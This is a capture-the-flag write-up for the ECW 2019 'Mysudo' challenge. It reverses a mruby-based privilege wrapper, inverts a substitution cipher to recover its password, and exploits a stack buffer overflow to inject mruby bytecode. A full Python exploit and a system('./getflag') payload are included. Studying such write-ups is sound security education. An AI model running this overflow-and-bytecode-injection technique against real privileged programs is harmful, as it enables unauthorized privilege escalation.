ECW 2019 CTF Qualification - Mysudo
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| ECW 2019 CTF Qualification | Mysudo | Exploit | 125 | 15 |
Task description:

sudo is not very secure, as the leader of the cyber-digital world, we created a replacement.
Admire the result: ssh -p 10022
@challenge-ecw.fr
TL;DR.
The task consists in building a payload that, after being passed to a substitution function gives us a mruby bytecode.
File enumeration
When we open an SSH connection, we get the following files:

The mysudo binary relies on the musl libc that has been developped to create a “clean, efficient and standards-conformant libc implementation”.
When running the mysudo binary, the program waits for a password that we don’t know… Let’s analyze it using Ghidra!
Reverse engineering
First, create a new non-shared project and import the ELF mysudo file. If the tool association is correctly
configured, double clicking on the mysudo file should open it in the CodeBrowser.
We’re invited to start the binary analysis, the default settings are quite sufficient, let’s just run it and wait for a few seconds.
Searching for the entry point of our program using the Functions panel ([Windows] > Functions), we quickly identify the main function, we can also notice that many mrb_* functions have been included in the binary:

Looking for documentation about mrb, we finally found that it corresponds to the mruby project.
Let’s dig into the the main function, and schematize it (both IDA and Ghidra give us a shitty C code, let’s skip it):
- get the effective user ID (
EUID) (100here) - check if there’s at least two arguments to the program (e.g.,
["./mysudo", "/app/cat", "flag.txt"]) - append
.mrbextension to the command (argv[1]:/app/cat) - check user’s permissions for the program file (
/app/cat.mrb) - get the file content (bytecode) into a buffer using the
read_bytecodefunction - get stat about the
.mrbfile (owner and group) - prompt and get the user password
- create a new instance of mruby using
mrb_openfunction - load the
/app/main.mrbbytecode using theread_bytecodefunction - load the IREP section of the mruby file:

- call the
encodefunction of the/app/main.mrbprogram with the user password - xor the encoded user password with
0xFE - check if xor(encode(password), 0xFE) has the expected value using the
check_passwordfunction - if the password is correct, change the effective user and group ID (
EUIDandEGID) - execute our command
Following its analysis, we know that that we need to get the password to execute an mrb file.
Password cracking
In order to crack the password, we must analyze the check_password function.
The function is really basic and essentially consists of a comparison of the password characters with a set of 15 characters.
The encoded password must be equal to the string \x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b.
We now that the user password is xored and passed to the encode function of the /app/main.mrb program.
Let’s create a basic C wrapper to call the encode function of the /app/main.mrb so that we no longer have to deal with gdb on the remote server:
#include <stdio.h>
#include <stdlib.h>
#include <mruby.h>
#include <mruby/class.h>
#include <mruby/proc.h>
#include <mruby/variable.h>
#include <mruby/irep.h>
#include <mruby/dump.h>
#include <mruby/compile.h>
#include <mruby/string.h>
#define DBG 1
unsigned char * read_bytecode(char *filename, size_t *size) {
FILE * source;
source = fopen(filename, "rb");
fseek(source, 0, SEEK_END);
*size = ftell(source);
fseek(source, 0, SEEK_SET);
unsigned char * bytecode = malloc(*size);
fread(bytecode, *size, 1, source);
fclose(source);
return bytecode;
}
int main(int argc, char **argv) {
unsigned int i, retcode;
unsigned char *encoder_bc,
*payload_bc,
*enc_payload_char,
enc_payload[1024],
payload_char[2] = {'\0'};
size_t encoder_bc_size;
mrb_state *mrb;
setvbuf(stdout, NULL, _IONBF, 0);
if (argc > 1) {
/* */
mrb = mrb_open();
encoder_bc = read_bytecode("main.mrb", &encoder_bc_size);
/* fwrite(payload_bc, size, 1, stdout); */
mrb_load_irep(mrb, encoder_bc);
payload_char[0] = strtol(argv[1], NULL, 0);
if (DBG) printf("0x%x => ", payload_char[0]);
enc_payload_char = mrb_str_to_cstr(mrb, mrb_funcall(mrb, mrb_top_self(mrb), "encode", 1, mrb_str_new_cstr(mrb, payload_char)));
enc_payload[0] = enc_payload_char[0] ^ 0xFE;
if (DBG) printf("0x%x\n", enc_payload[0]);
retcode = 0;
} else {
retcode = -1;
}
return retcode;
}
Since I didn’t manage to compile it under Debian, I created a Docker container based on Archlinux (feel free to reuse it):
FROM archlinux/base
# Install yay.
RUN echo '[multilib]' >> /etc/pacman.conf && \
echo 'Include = /etc/pacman.d/mirrorlist' >> /etc/pacman.conf && \
pacman --noconfirm -Syyu && \
pacman --noconfirm -S base-devel git && \
useradd -m -r -s /bin/bash aur && \
passwd -d aur && \
echo 'aur ALL=(ALL) ALL' > /etc/sudoers.d/aur && \
mkdir -p /home/aur/.gnupg && \
echo 'standard-resolver' > /home/aur/.gnupg/dirmngr.conf && \
chown -R aur:aur /home/aur && \
mkdir /build && \
chown -R aur:aur /build && \
cd /build && \
sudo -u aur git clone --depth 1 https://aur.archlinux.org/yay.git && \
cd yay && \
sudo -u aur makepkg --noconfirm -si && \
sudo -u aur yay --afterclean --removemake --save && \
pacman -Qtdq | xargs -r pacman --noconfirm -Rcns && \
rm -rf /home/aur/.cache && \
rm -rf /build
# Install mruby.
RUN sudo -u aur yay -Sy gcc cmake mruby musl --noconfirm
# Install pwntools.
RUN sudo -u aur yay -Sy python3 python-pip --noconfirm && \
pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git && \
cd /tmp/ && \
git clone https://github.com/keystone-engine/keystone.git && \
cd keystone && \
mkdir build && \
cd build && \
../make-share.sh && \
make install && \
ldconfig && \
cd ../bindings/python && \
make install3 && \
cd /tmp/ && \
rm -rf keystone
# Install gdb and gef.
RUN sudo -u aur yay -Sy gdb wget --noconfirm && \
export PIP_NO_CACHE_DIR=off && \
export PIP_DISABLE_PIP_VERSION_CHECK=on && \
pip3 install --upgrade pip wheel && \
pip3 install capstone unicorn keystone-engine ropper retdec-python && \
wget --progress=bar:force -O /root/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py && \
chmod o+r /root/.gdbinit-gef.py && \
echo "source /root/.gdbinit-gef.py" > /root/.gdbinit
CMD ["/bin/bash"]
Compile the wrapper using the Docker container:
docker build -t creased/arch .
docker run -it --rm -v $(pwd):/app -w /app creased/arch bash
gcc -o wrapper wrapper.c -lmruby -lm
After a few tests, we can see that the encode function can be reversed since it only does subsitution with a static table, let’s dump this table :
from subprocess import (PIPE, Popen)
## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
for i in range(256):
with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
out = proc.stdout.read().decode().strip()
out = out.split(' => ')
if 'ArgumentError:' not in out[1]:
mapping[int(out[0], 16)] = int(out[1], 16)
else:
mapping[int(out[0], 16)] = ''
print(mapping)
We get the following substitution table:
{0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}
We can now decode the password using a reverse search in the substitution table:
## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'
## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))
decode(ord_str(password_enc))
Noice, we got the password ADMsystem42$$$$!
Exploitation: first try
We should now be able to run any .mrb file using mysudo, let’s check it out:

Yeah, we’re running the id command through the id.mrb ruby wrapper as ecw_flag user!
Let’s cat the flag:

Holy snap! It seems that we need to execute the /tmp/getflag binary…
Since the file is readable by adm group members only, we can use the cat wrapper to dump this file and analyze it:
cd /tmp/
/app/mysudo /app/cat getflag | tee getflag.copy
cat getflag.copy | tail -n+2 | base64
We can now copy the base64 blob and decoded it on our own machine to retrieve the getflag ELF file:

By looking quickly at the source code of the program, we realize that it only reads the value of the FLAG environment variable of the process with PID 1.
PID 1 is the first process to be executed at system startup, since we are in a container, it corresponds to the CMD attribute specified in the Docker image or at Docker container startup. Here it’s a shell script runned by root, so we’re not able to cat its environment variables:
cat /proc/1/environ
Returns:
cat: can't open '/proc/1/environ': Permission denied
We should find another way to execute our own commands and get the flag.
Bug hunting
Without reversing a lot, we can get the get_password function C code:

By closely analyzing the code, we can find a vulnerability that leads to a buffer overflow due to a lack of user data size checking.
Since the password is stored on the stack, we’re able to overwrite the bytecode of the program specified in the argument.
The exploitation consists in injecting a payload which after being passed to the encode function of the /app/main.mrb program and being xored with 0xFE will give us a consistent bytecode ready to be executed:

Where the \0 should be replaced by any other char (let’s get a).
Exploitation
Let’s create a simple ruby program and compile it using the mruby compiler on the remote host:
cd /tmp/
cat <<-'EOF' >getflag.rb
system('./getflag')
EOF
mrbc getflag.rb
The finale exploit will automate the bytecode decoding and password sending using a dedicated PTY in order to bypass the isatty function call:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import pty
from subprocess import (PIPE, Popen)
# Stage 1 - decode password + decode bytecode.
## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'
## prepare bytecode.
bytecode = []
with open('getflag.mrb', 'rb') as fd:
for c in fd.read():
bytecode += [int(c)]
## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
mapping = {0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}
if not len(mapping):
for i in range(256):
with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
out = proc.stdout.read().decode().strip()
print(out)
out = out.split(' => ')
if 'ArgumentError:' not in out[1]:
mapping[int(out[0], 16)] = int(out[1], 16)
else:
mapping[int(out[0], 16)] = ''
## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))
## decode bytecode.
decoded_bytecode = decode(bytecode)
encoded_bytecode = encode(ord_str(decoded_bytecode))
## check for error during encoding.
list_encoded = ord_str(encoded_bytecode)
for i in range(len(bytecode)):
if bytecode[i] != list_encoded[i]:
print('An error occured while decoding the bytecode, please check your substitution table!')
## print encoded bytecode.
print('Original bytecode: {}'.format(repr(bytecode)))
print('Decoded bytecode: {}'.format(repr(ord_str(decoded_bytecode))))
# Stage 2 - prepare payload.
payload = decode(ord_str(password_enc))
payload += 'a' # a junk char
payload += decoded_bytecode
payload += '\n'
## open pseudo-terminal to interact with subprocess.
payload_sent = False
def read(fd):
global payload, payload_sent
data = os.read(fd, 10) # Read 'Password: '
if not payload_sent:
os.write(fd, payload.encode('latin-1'))
payload_sent = True
return data
pty.spawn(['/app/mysudo', '/app/id'], read)
The final flag is ECW{7247cb185e15374444d402c2c422a49dbfb63bff9d00a38aa0b200fdc398d321}
Happy Hacking!